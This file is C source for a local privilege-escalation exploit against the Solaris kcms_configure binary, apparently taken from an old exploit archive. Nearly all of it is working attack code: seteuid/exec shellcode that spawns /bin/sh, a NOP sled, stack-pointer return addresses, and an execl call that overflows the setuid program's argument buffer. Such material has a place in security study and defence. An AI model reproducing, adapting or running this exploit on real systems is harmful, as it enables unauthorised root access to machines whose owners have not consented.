/*
 Command line argument overflow
 /usr/openwin/bin/kcms_configure

 Systems Affected:
 Solaris 7/8 (x86 and sparc)

 Proof of Concept Exploitation
 Riley Hassell
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN  1100

/* seteuid/exec shellcode  */
char shell[] =
  "\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff"
  "\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff"
  "\x29\xc0\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e"
  "\x0b\x29\xc0\x88\x46\x19\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0"
  "\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff\xff\x2f\x62"
  "\x69\x6e\x2f\x73\x68\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03"
  "\x03\x9a\x04\x04\x04\x04\x07\x04";

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int get_esp() { __asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
  int i;
  if (argc > 1)
    offset = strtol(argv[1], NULL, 0);
    else
    offset = -300;
    nop = 600;
    esp = get_esp();
  memset(buf, 0x90, BUFLEN);
  memcpy(buf+600, shell, strlen(shell));
  for (i = nop+strlen(shell)+1; i <= BUFLEN-4; i += 4)
    *((int *) &buf[i]) = esp+offset;
  buf[BUFLEN-1] = '\0';
  execl("/usr/openwin/bin/kcms_configure", "eEye","-o","-S","X",buf,NULL);
  return;
}
/*                www.hack.co.za           [17 April 2001]*/